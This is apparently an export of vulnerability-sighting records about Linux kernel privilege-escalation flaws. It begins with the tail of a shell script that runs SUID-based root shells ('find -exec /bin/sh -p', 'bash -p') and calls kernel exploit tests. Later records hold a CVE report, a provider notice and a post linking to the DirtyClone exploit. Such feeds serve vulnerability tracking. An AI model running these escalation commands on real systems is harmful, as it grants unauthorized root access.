\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# T5: SUID binary hunt + GTFOBins\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_suid() {\n echo -e \"\\n${YELLOW}[T5] SUID binary scan${NC}\"\n echo -e \"${YELLOW}[*] Procurando binarios SUID exploraveis...${NC}\"\n find / -perm -4000 -type f 2>/dev/null | while read b; do\n case \"$b\" in\n */find) echo -e \"${GREEN}[+] $b \u2014 privesc via find!${NC}\"; $b . -exec /bin/sh -p \\; -quit 2>/dev/null ;;\n */vim|*/vi|*/nano) echo -e \"${GREEN}[+] $b \u2014 editor SUID${NC}\" ;;\n */bash) echo -e \"${GREEN}[+] $b \u2014 bash SUID!${NC}\"; $b -p 2>/dev/null ;;\n */python*) echo -e \"${GREEN}[+] $b \u2014 python SUID${NC}\" ;;\n */perl) echo -e \"${GREEN}[+] $b \u2014 perl SUID${NC}\" ;;\n */cp) echo -e \"${GREEN}[+] $b \u2014 cp SUID${NC}\" ;;\n */mv) echo -e \"${GREEN}[+] $b \u2014 mv SUID${NC}\" ;;\n */tar) echo -e \"${GREEN}[+] $b \u2014 tar SUID${NC}\" ;;\n */chmod) echo -e \"${GREEN}[+] $b \u2014 chmod SUID${NC}\" ;;\n esac\n done\n}\n\n# \u2500\u2500 Relat\u00f3rio \u2500\u2500\necho -e \"\\n${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\necho -e \"${GREEN} TEF-LAB Report${NC}\"\necho -e \"${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\necho \" host : $(hostname)\"\necho \" user : $(whoami) uid=$(id -u)\"\necho \" kern : $(uname -r)\"\necho \" gcc : $(which gcc 2>/dev/null || which cc 2>/dev/null || echo 'NONE')\"\necho \" usens: $(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || echo '?')\"\necho -e \"${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\n\n# \u2500\u2500 Main \u2500\u2500\ncase \"${1:-all}\" in\n 0|frag) test_dirtyfrag ;;\n 1|pipe) test_dirtypipe ;;\n 2|overlay) test_overlay ;;\n 3|pwnkit) test_pwnkit ;;\n 4|sudo) test_sudoedit ;;\n 5|suid) test_suid ;;\n all)\n test_dirtyfrag\n test_dirtypipe\n test_overlay\n test_pwnkit\n test_sudoedit\n test_suid\n ;;\nesac\n\necho -e \"\\n${GREEN}[+] Artefatos em /tmp/tef-lab/${NC}\"\n", "creation_timestamp": "2026-08-04T21:59:10.226921Z"} https://vulnerability.circl.lu/sighting/cb5e4b73-d35a-4ab7-95fd-fb179edaf6b5/export Tue, 04 Aug 2026 21:59:10 +0000 https://vulnerability.circl.lu/sighting/aadf7310-66fc-4e65-bee6-d9a0a2094465/export {"uuid": "aadf7310-66fc-4e65-bee6-d9a0a2094465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43501", "type": "seen", "source": "https://gist.github.com/alon710/5c8955798a6536a1c82d7463f89c3d3e", "content": "# CVE-2026-43501: CVE-2026-43501: Heap Out-of-Bounds Write in Linux Kernel IPv6 RPL Segment Routing Header Processing\n\n> **CVSS Score:** 9.8\n> **Published:** 2026-05-21\n> **Full Report:** https://cvereports.com/reports/CVE-2026-43501\n\n## Summary\nA critical heap out-of-bounds (OOB) write vulnerability exists in the Linux kernel's IPv6 RPL (Routing Protocol for Low-Power and Lossy Networks) Segment Routing Header (SRH) processing logic. The vulnerability is located within net/ipv6/exthdrs.c, specifically in the ipv6_rpl_srh_rcv function. Under specific circumstances, when a packet containing a compressed RPL Source Routing Header is processed, segment swapping can reduce the common-prefix length, causing the recompressed header to grow. Because the kernel fails to validate available headroom on intermediate segments, a buffer underflow occurs during skb_push. This leads to an integer wrap in the MAC header offset pointer during MAC header rebuilding, causing a 14-byte out-of-bounds memory write roughly 64 KiB past the socket buffer.\n\n## TL;DR\nUnauthenticated remote heap out-of-bounds write in Linux kernel IPv6 RPL SRH processing due to insufficient headroom validation, leading to potential remote code execution or system crash.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-787 (Primary), CWE-131 (Secondary)\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 9.8 (Critical)\n- **EPSS Score**: 0.00595\n- **EPSS Percentile**: 45.08%\n- **Exploit Status**: Proof of Concept (PoC) available\n- **KEV Status**: Not listed\n\n## Affected Systems\n\n- Linux Kernel 5.7.x - 5.10.x\n- Linux Kernel 5.11.x - 5.15.x\n- Linux Kernel 5.16.x - 6.1.x\n- Linux Kernel 6.2.x - 6.6.x\n- Linux Kernel 6.7.x - 6.12.x\n- Linux Kernel 6.13.x - 6.18.x\n- Linux Kernel 6.19.x - 7.0.x\n\n## Mitigation\n\n- Apply kernel security updates to fixed versions\n- Deploy ip6tables/nftables rules to drop Routing Header Type 3 packets\n\n**Remediation Steps:**\n1. Identify affected Linux kernel versions running in the infrastructure\n2. Schedule maintenance windows to apply kernel updates\n3. Reboot systems into the patched kernel version\n4. Verify mitigation using network packet filters if patching is delayed\n\n## References\n\n- [Linux Kernel Stable Commit 0a9e8053f1f8a8e1bfc1dd61ffe67be6c1180402](https://git.kernel.org/stable/c/0a9e8053f1f8a8e1bfc1dd61ffe67be6c1180402)\n- [Linux Kernel Stable Commit 4babc2d9fda2df43823b85d08a0180b68f1b0854](https://git.kernel.org/stable/c/4babc2d9fda2df43823b85d08a0180b68f1b0854)\n- [Linux Kernel Stable Commit 7398ebefbfd4f8a31d4f665a4213302fa995494b](https://git.kernel.org/stable/c/7398ebefbfd4f8a31d4f665a4213302fa995494b)\n- [Linux Kernel Stable Commit 8e8be63465a5e80394c70324603dfea1bfdad48f](https://git.kernel.org/stable/c/8e8be63465a5e80394c70324603dfea1bfdad48f)\n- [Linux Kernel Stable Commit 9e6bf146b55999a095bb14f73a843942456d1adc](https://git.kernel.org/stable/c/9e6bf146b55999a095bb14f73a843942456d1adc)\n- [Linux Kernel Stable Commit bde199c72d319a4e207f88daabc888317504e2fb](https://git.kernel.org/stable/c/bde199c72d319a4e207f88daabc888317504e2fb)\n- [Linux Kernel Stable Commit be1fa0aa9b4fdd5a8b7a61ba520a690a68391e6e](https://git.kernel.org/stable/c/be1fa0aa9b4fdd5a8b7a61ba520a690a68391e6e)\n- [Linux Kernel Stable Commit c261d07a80576dc8ccf394ef8f074f8c67a06b37](https://git.kernel.org/stable/c/c261d07a80576dc8ccf394ef8f074f8c67a06b37)\n- [Red Hat Security Advisory RHSA-2026:25191](https://access.redhat.com/errata/RHSA-2026:25191)\n- [Red Hat Security Advisory RHSA-2026:25217](https://access.redhat.com/errata/RHSA-2026:25217)\n- [Red Hat Security Advisory RHSA-2026:27713](https://access.redhat.com/errata/RHSA-2026:27713)\n- [Red Hat Security Advisory RHSA-2026:27731](https://access.redhat.com/errata/RHSA-2026:27731)\n- [Red Hat Security Advisory RHSA-2026:33900](https://access.redhat.com/errata/RHSA-2026:33900)\n- [Red Hat Security Advisory RHSA-2026:34094](https://access.redhat.com/errata/RHSA-2026:34094)\n- [Red Hat Security Advisory RHSA-2026:34095](https://access.redhat.com/errata/RHSA-2026:34095)\n- [Red Hat Security Portal for CVE-2026-43501](https://access.redhat.com/security/cve/CVE-2026-43501)\n- [Red Hat Bugzilla Bug 2480457](https://bugzilla.redhat.com/show_bug.cgi?id=2480457)\n- [Red Hat CSAF VEX for CVE-2026-43501](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43501.json)\n- [Linux Torvalds Commit Patch](https://github.com/torvalds/linux/commit/c261d07a80576dc8ccf394ef8f074f8c67a06b37.patch)\n- [Wiz Vulnerability Database entry for CVE-2026-43501](https://www.wiz.io/vulnerability-database/cve/cve-2026-43501)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-43501) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-03T14:32:11.859930Z"} {"uuid": "aadf7310-66fc-4e65-bee6-d9a0a2094465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43501", "type": "seen", "source": "https://gist.github.com/alon710/5c8955798a6536a1c82d7463f89c3d3e", "content": "# CVE-2026-43501: CVE-2026-43501: Heap Out-of-Bounds Write in Linux Kernel IPv6 RPL Segment Routing Header Processing\n\n> **CVSS Score:** 9.8\n> **Published:** 2026-05-21\n> **Full Report:** https://cvereports.com/reports/CVE-2026-43501\n\n## Summary\nA critical heap out-of-bounds (OOB) write vulnerability exists in the Linux kernel's IPv6 RPL (Routing Protocol for Low-Power and Lossy Networks) Segment Routing Header (SRH) processing logic. The vulnerability is located within net/ipv6/exthdrs.c, specifically in the ipv6_rpl_srh_rcv function. Under specific circumstances, when a packet containing a compressed RPL Source Routing Header is processed, segment swapping can reduce the common-prefix length, causing the recompressed header to grow. Because the kernel fails to validate available headroom on intermediate segments, a buffer underflow occurs during skb_push. This leads to an integer wrap in the MAC header offset pointer during MAC header rebuilding, causing a 14-byte out-of-bounds memory write roughly 64 KiB past the socket buffer.\n\n## TL;DR\nUnauthenticated remote heap out-of-bounds write in Linux kernel IPv6 RPL SRH processing due to insufficient headroom validation, leading to potential remote code execution or system crash.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-787 (Primary), CWE-131 (Secondary)\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 9.8 (Critical)\n- **EPSS Score**: 0.00595\n- **EPSS Percentile**: 45.08%\n- **Exploit Status**: Proof of Concept (PoC) available\n- **KEV Status**: Not listed\n\n## Affected Systems\n\n- Linux Kernel 5.7.x - 5.10.x\n- Linux Kernel 5.11.x - 5.15.x\n- Linux Kernel 5.16.x - 6.1.x\n- Linux Kernel 6.2.x - 6.6.x\n- Linux Kernel 6.7.x - 6.12.x\n- Linux Kernel 6.13.x - 6.18.x\n- Linux Kernel 6.19.x - 7.0.x\n\n## Mitigation\n\n- Apply kernel security updates to fixed versions\n- Deploy ip6tables/nftables rules to drop Routing Header Type 3 packets\n\n**Remediation Steps:**\n1. Identify affected Linux kernel versions running in the infrastructure\n2. Schedule maintenance windows to apply kernel updates\n3. Reboot systems into the patched kernel version\n4. Verify mitigation using network packet filters if patching is delayed\n\n## References\n\n- [Linux Kernel Stable Commit 0a9e8053f1f8a8e1bfc1dd61ffe67be6c1180402](https://git.kernel.org/stable/c/0a9e8053f1f8a8e1bfc1dd61ffe67be6c1180402)\n- [Linux Kernel Stable Commit 4babc2d9fda2df43823b85d08a0180b68f1b0854](https://git.kernel.org/stable/c/4babc2d9fda2df43823b85d08a0180b68f1b0854)\n- [Linux Kernel Stable Commit 7398ebefbfd4f8a31d4f665a4213302fa995494b](https://git.kernel.org/stable/c/7398ebefbfd4f8a31d4f665a4213302fa995494b)\n- [Linux Kernel Stable Commit 8e8be63465a5e80394c70324603dfea1bfdad48f](https://git.kernel.org/stable/c/8e8be63465a5e80394c70324603dfea1bfdad48f)\n- [Linux Kernel Stable Commit 9e6bf146b55999a095bb14f73a843942456d1adc](https://git.kernel.org/stable/c/9e6bf146b55999a095bb14f73a843942456d1adc)\n- [Linux Kernel Stable Commit bde199c72d319a4e207f88daabc888317504e2fb](https://git.kernel.org/stable/c/bde199c72d319a4e207f88daabc888317504e2fb)\n- [Linux Kernel Stable Commit be1fa0aa9b4fdd5a8b7a61ba520a690a68391e6e](https://git.kernel.org/stable/c/be1fa0aa9b4fdd5a8b7a61ba520a690a68391e6e)\n- [Linux Kernel Stable Commit c261d07a80576dc8ccf394ef8f074f8c67a06b37](https://git.kernel.org/stable/c/c261d07a80576dc8ccf394ef8f074f8c67a06b37)\n- [Red Hat Security Advisory RHSA-2026:25191](https://access.redhat.com/errata/RHSA-2026:25191)\n- [Red Hat Security Advisory RHSA-2026:25217](https://access.redhat.com/errata/RHSA-2026:25217)\n- [Red Hat Security Advisory RHSA-2026:27713](https://access.redhat.com/errata/RHSA-2026:27713)\n- [Red Hat Security Advisory RHSA-2026:27731](https://access.redhat.com/errata/RHSA-2026:27731)\n- [Red Hat Security Advisory RHSA-2026:33900](https://access.redhat.com/errata/RHSA-2026:33900)\n- [Red Hat Security Advisory RHSA-2026:34094](https://access.redhat.com/errata/RHSA-2026:34094)\n- [Red Hat Security Advisory RHSA-2026:34095](https://access.redhat.com/errata/RHSA-2026:34095)\n- [Red Hat Security Portal for CVE-2026-43501](https://access.redhat.com/security/cve/CVE-2026-43501)\n- [Red Hat Bugzilla Bug 2480457](https://bugzilla.redhat.com/show_bug.cgi?id=2480457)\n- [Red Hat CSAF VEX for CVE-2026-43501](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43501.json)\n- [Linux Torvalds Commit Patch](https://github.com/torvalds/linux/commit/c261d07a80576dc8ccf394ef8f074f8c67a06b37.patch)\n- [Wiz Vulnerability Database entry for CVE-2026-43501](https://www.wiz.io/vulnerability-database/cve/cve-2026-43501)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-43501) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-03T14:32:11.859930Z"} https://vulnerability.circl.lu/sighting/aadf7310-66fc-4e65-bee6-d9a0a2094465/export Mon, 03 Aug 2026 14:32:11 +0000 https://vulnerability.circl.lu/sighting/7fa7bb46-c02a-41b4-bb16-904c49d193a9/export {"uuid": "7fa7bb46-c02a-41b4-bb16-904c49d193a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-43502", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T07:17:21.746484Z"} {"uuid": "7fa7bb46-c02a-41b4-bb16-904c49d193a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-43502", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T07:17:21.746484Z"} https://vulnerability.circl.lu/sighting/7fa7bb46-c02a-41b4-bb16-904c49d193a9/export Mon, 03 Aug 2026 07:17:21 +0000 https://vulnerability.circl.lu/sighting/7292ceb4-221e-4351-b617-397fdb1ab115/export {"uuid": "7292ceb4-221e-4351-b617-397fdb1ab115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "https://t.me/aenix_io/393", "content": "\ud83d\udee1 Security notice \u2014 GRO Frag (Linux kernel)\n\n\ud83d\udd0d What's the issue\nA new Linux kernel local privilege escalation has been disclosed \u2014 informally called GRO Frag. It's another variant in the same family as Copy Fail (CVE-2026-31431), Dirty Frag (CVE-2026-43284 / CVE-2026-43500) and Fragnesia (CVE-2026-46300) \u2014 a missing SKBFL_SHARED_FRAG flag propagation, this time in skb_gro_receive(). A local attacker can corrupt page-cache-backed memory (e.g. /usr/bin/su) and gain root.\n\n\ud83d\udcda References\n\u2022 CIQ \u2014 GRO variant analysis \u2014 https://ciq.com/blog/fragnesia-cve-2026-46300\n\u2022 Gentoo \u2014 Copy Fail / Dirty Frag / Fragnesia overview \u2014 https://www.gentoo.org/news/2026/05/19/copy-fail-fragnesia-vulnerabilities.html\n\n\u2705 Impact on your Cozystack tenants \u2014 none\nExploitation requires a privileged Linux capability (CAP_*_ADMIN) and the ability to run arbitrary code against the host kernel. In Cozystack:\n\n\u2022 tenant workloads run in unprivileged user namespaces \u2014 no CAP_SYS_ADMIN, no CAP_NET_ADMIN, no privileged containers\n\u2022 tenants cannot execute arbitrary code on the host \u2014 only inside their own sandboxed pods/VMs\n\u2022 even if those restrictions were bypassed, the privilege level required to drive the exploit is not reachable from a tenant context\n\nHost kernels will be patched as upstream vendor updates land \u2014 rolled out during the regular maintenance window. No action required on your side.", "creation_timestamp": "2026-07-30T00:00:31.118504Z"} {"uuid": "7292ceb4-221e-4351-b617-397fdb1ab115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "https://t.me/aenix_io/393", "content": "\ud83d\udee1 Security notice \u2014 GRO Frag (Linux kernel)\n\n\ud83d\udd0d What's the issue\nA new Linux kernel local privilege escalation has been disclosed \u2014 informally called GRO Frag. It's another variant in the same family as Copy Fail (CVE-2026-31431), Dirty Frag (CVE-2026-43284 / CVE-2026-43500) and Fragnesia (CVE-2026-46300) \u2014 a missing SKBFL_SHARED_FRAG flag propagation, this time in skb_gro_receive(). A local attacker can corrupt page-cache-backed memory (e.g. /usr/bin/su) and gain root.\n\n\ud83d\udcda References\n\u2022 CIQ \u2014 GRO variant analysis \u2014 https://ciq.com/blog/fragnesia-cve-2026-46300\n\u2022 Gentoo \u2014 Copy Fail / Dirty Frag / Fragnesia overview \u2014 https://www.gentoo.org/news/2026/05/19/copy-fail-fragnesia-vulnerabilities.html\n\n\u2705 Impact on your Cozystack tenants \u2014 none\nExploitation requires a privileged Linux capability (CAP_*_ADMIN) and the ability to run arbitrary code against the host kernel. In Cozystack:\n\n\u2022 tenant workloads run in unprivileged user namespaces \u2014 no CAP_SYS_ADMIN, no CAP_NET_ADMIN, no privileged containers\n\u2022 tenants cannot execute arbitrary code on the host \u2014 only inside their own sandboxed pods/VMs\n\u2022 even if those restrictions were bypassed, the privilege level required to drive the exploit is not reachable from a tenant context\n\nHost kernels will be patched as upstream vendor updates land \u2014 rolled out during the regular maintenance window. No action required on your side.", "creation_timestamp": "2026-07-30T00:00:31.118504Z"} https://vulnerability.circl.lu/sighting/7292ceb4-221e-4351-b617-397fdb1ab115/export Thu, 30 Jul 2026 00:00:31 +0000 https://vulnerability.circl.lu/sighting/71d1aece-d7fa-4508-8980-a8aca3bdc87a/export {"uuid": "71d1aece-d7fa-4508-8980-a8aca3bdc87a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "https://t.me/aenix_io/393", "content": "\ud83d\udee1 Security notice \u2014 GRO Frag (Linux kernel)\n\n\ud83d\udd0d What's the issue\nA new Linux kernel local privilege escalation has been disclosed \u2014 informally called GRO Frag. It's another variant in the same family as Copy Fail (CVE-2026-31431), Dirty Frag (CVE-2026-43284 / CVE-2026-43500) and Fragnesia (CVE-2026-46300) \u2014 a missing SKBFL_SHARED_FRAG flag propagation, this time in skb_gro_receive(). A local attacker can corrupt page-cache-backed memory (e.g. /usr/bin/su) and gain root.\n\n\ud83d\udcda References\n\u2022 CIQ \u2014 GRO variant analysis \u2014 https://ciq.com/blog/fragnesia-cve-2026-46300\n\u2022 Gentoo \u2014 Copy Fail / Dirty Frag / Fragnesia overview \u2014 https://www.gentoo.org/news/2026/05/19/copy-fail-fragnesia-vulnerabilities.html\n\n\u2705 Impact on your Cozystack tenants \u2014 none\nExploitation requires a privileged Linux capability (CAP_*_ADMIN) and the ability to run arbitrary code against the host kernel. In Cozystack:\n\n\u2022 tenant workloads run in unprivileged user namespaces \u2014 no CAP_SYS_ADMIN, no CAP_NET_ADMIN, no privileged containers\n\u2022 tenants cannot execute arbitrary code on the host \u2014 only inside their own sandboxed pods/VMs\n\u2022 even if those restrictions were bypassed, the privilege level required to drive the exploit is not reachable from a tenant context\n\nHost kernels will be patched as upstream vendor updates land \u2014 rolled out during the regular maintenance window. No action required on your side.", "creation_timestamp": "2026-07-29T12:00:04.734895Z"} {"uuid": "71d1aece-d7fa-4508-8980-a8aca3bdc87a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "https://t.me/aenix_io/393", "content": "\ud83d\udee1 Security notice \u2014 GRO Frag (Linux kernel)\n\n\ud83d\udd0d What's the issue\nA new Linux kernel local privilege escalation has been disclosed \u2014 informally called GRO Frag. It's another variant in the same family as Copy Fail (CVE-2026-31431), Dirty Frag (CVE-2026-43284 / CVE-2026-43500) and Fragnesia (CVE-2026-46300) \u2014 a missing SKBFL_SHARED_FRAG flag propagation, this time in skb_gro_receive(). A local attacker can corrupt page-cache-backed memory (e.g. /usr/bin/su) and gain root.\n\n\ud83d\udcda References\n\u2022 CIQ \u2014 GRO variant analysis \u2014 https://ciq.com/blog/fragnesia-cve-2026-46300\n\u2022 Gentoo \u2014 Copy Fail / Dirty Frag / Fragnesia overview \u2014 https://www.gentoo.org/news/2026/05/19/copy-fail-fragnesia-vulnerabilities.html\n\n\u2705 Impact on your Cozystack tenants \u2014 none\nExploitation requires a privileged Linux capability (CAP_*_ADMIN) and the ability to run arbitrary code against the host kernel. In Cozystack:\n\n\u2022 tenant workloads run in unprivileged user namespaces \u2014 no CAP_SYS_ADMIN, no CAP_NET_ADMIN, no privileged containers\n\u2022 tenants cannot execute arbitrary code on the host \u2014 only inside their own sandboxed pods/VMs\n\u2022 even if those restrictions were bypassed, the privilege level required to drive the exploit is not reachable from a tenant context\n\nHost kernels will be patched as upstream vendor updates land \u2014 rolled out during the regular maintenance window. No action required on your side.", "creation_timestamp": "2026-07-29T12:00:04.734895Z"} https://vulnerability.circl.lu/sighting/71d1aece-d7fa-4508-8980-a8aca3bdc87a/export Wed, 29 Jul 2026 12:00:04 +0000 https://vulnerability.circl.lu/sighting/fecd6f19-ee15-4d39-894f-4099d024f3bf/export {"uuid": "fecd6f19-ee15-4d39-894f-4099d024f3bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-25T00:15:05.881312Z"} {"uuid": "fecd6f19-ee15-4d39-894f-4099d024f3bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-25T00:15:05.881312Z"} https://vulnerability.circl.lu/sighting/fecd6f19-ee15-4d39-894f-4099d024f3bf/export Sat, 25 Jul 2026 00:15:05 +0000 https://vulnerability.circl.lu/sighting/e06f42d1-dab5-43b1-954e-094ccf890406/export {"uuid": "e06f42d1-dab5-43b1-954e-094ccf890406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43503", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-25T00:15:05.715398Z"} {"uuid": "e06f42d1-dab5-43b1-954e-094ccf890406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43503", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-25T00:15:05.715398Z"} https://vulnerability.circl.lu/sighting/e06f42d1-dab5-43b1-954e-094ccf890406/export Sat, 25 Jul 2026 00:15:05 +0000 https://vulnerability.circl.lu/sighting/345bd54a-7a8d-4cb5-ba3f-f56db0eaa7a3/export {"uuid": "345bd54a-7a8d-4cb5-ba3f-f56db0eaa7a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-24T18:15:04.375661Z"} {"uuid": "345bd54a-7a8d-4cb5-ba3f-f56db0eaa7a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43500", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-24T18:15:04.375661Z"} https://vulnerability.circl.lu/sighting/345bd54a-7a8d-4cb5-ba3f-f56db0eaa7a3/export Fri, 24 Jul 2026 18:15:04 +0000 https://vulnerability.circl.lu/sighting/0eb4e137-be28-4536-b2c1-0c3267460b3b/export {"uuid": "0eb4e137-be28-4536-b2c1-0c3267460b3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43503", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-24T18:15:04.224085Z"} {"uuid": "0eb4e137-be28-4536-b2c1-0c3267460b3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43503", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-24T18:15:04.224085Z"} https://vulnerability.circl.lu/sighting/0eb4e137-be28-4536-b2c1-0c3267460b3b/export Fri, 24 Jul 2026 18:15:04 +0000 https://vulnerability.circl.lu/sighting/eb21b417-bf91-44cc-a367-221e07903c3d/export {"uuid": "eb21b417-bf91-44cc-a367-221e07903c3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43503", "type": "published-proof-of-concept", "source": "https://t.me/RalfHackerChannel/1681", "content": "DirtyClone \u2014 CVE-2026-43503\n\nA Linux kernel local privilege escalation and page-cache write. DirtyClone is the fourth public member of the\u00a0DirtyPipe / DirtyFrag\u00a0family: it forces the kernel to run an in-place ESP (IPsec) decrypt over a file-backed page-cache page the attacker only has\u00a0read\u00a0access to, mutating that page in RAM. With the AES-CBC key/IV chosen so the decrypt writes attacker-controlled bytes,\u00a0/usr/bin/su\u00a0is rewritten with a tiny\u00a0setuid(0)+execve(\"/bin/sh\")\u00a0ELF and invoking it yields root.\n\n\ud83d\udd17 Research: \nhttps://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/\n\n\ud83d\udd17 Exploit:\nhttps://github.com/rafaeldtinoco/security/tree/main/exploits/dirtyclone\n\n#linux #lpe #kernel #dirty", "creation_timestamp": "2026-07-21T00:00:41.243630Z"} {"uuid": "eb21b417-bf91-44cc-a367-221e07903c3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43503", "type": "published-proof-of-concept", "source": "https://t.me/RalfHackerChannel/1681", "content": "DirtyClone \u2014 CVE-2026-43503\n\nA Linux kernel local privilege escalation and page-cache write. DirtyClone is the fourth public member of the\u00a0DirtyPipe / DirtyFrag\u00a0family: it forces the kernel to run an in-place ESP (IPsec) decrypt over a file-backed page-cache page the attacker only has\u00a0read\u00a0access to, mutating that page in RAM. With the AES-CBC key/IV chosen so the decrypt writes attacker-controlled bytes,\u00a0/usr/bin/su\u00a0is rewritten with a tiny\u00a0setuid(0)+execve(\"/bin/sh\")\u00a0ELF and invoking it yields root.\n\n\ud83d\udd17 Research: \nhttps://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/\n\n\ud83d\udd17 Exploit:\nhttps://github.com/rafaeldtinoco/security/tree/main/exploits/dirtyclone\n\n#linux #lpe #kernel #dirty", "creation_timestamp": "2026-07-21T00:00:41.243630Z"} https://vulnerability.circl.lu/sighting/eb21b417-bf91-44cc-a367-221e07903c3d/export Tue, 21 Jul 2026 00:00:41 +0000